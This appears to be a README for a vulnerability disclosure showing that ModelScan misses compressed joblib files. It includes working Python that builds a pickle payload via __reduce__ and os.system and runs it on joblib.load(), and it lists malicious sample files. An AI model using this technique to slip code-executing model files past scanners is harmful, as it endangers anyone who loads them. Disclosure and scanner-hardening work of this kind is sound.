README.md

metadata

license: mit
tags:
  - security-research
  - modelscan-bypass

ModelScan Compressed Joblib Bypass PoC

Summary

ModelScan fails to scan compressed joblib files, allowing arbitrary code execution via joblib.load().

Vulnerability

• Affected format: .joblib (compressed with zlib, gzip, bz2, lz4)
• Scanner: modelscan 0.7.6 and 0.8.8 (git HEAD)
• Result: "No issues found" for all compressed variants
• Impact: Full RCE on joblib.load()

Root Cause

Joblib's default serialization uses zlib compression (level 3). ModelScan's pickle scanner attempts to parse the compressed bytes as raw pickle opcodes, encounters an unknown opcode (the compression header byte), and errors out silently — reporting "No issues found" instead of flagging the file as unanalyzable.

Reproduction

import joblib, os

class Evil:
    def __reduce__(self):
        return (os.system, ('echo PWNED',))

# Create (default compression = zlib level 3)
joblib.dump(Evil(), 'evil.joblib', compress=3)

# Scan — reports "No issues found"
# modelscan scan -p evil.joblib

# Load — executes code
joblib.load('evil.joblib')  # prints PWNED

Files

• joblib_bypass_poc.joblib — Default compression (zlib level 3)
• joblib_bypass_zlib.joblib — Explicit zlib
• joblib_bypass_gzip.joblib — gzip compression
• joblib_bypass_bz2.joblib — bz2 compression
• joblib_bypass_lz4.joblib — lz4 compression

All pass modelscan with "No issues found". All execute code on joblib.load().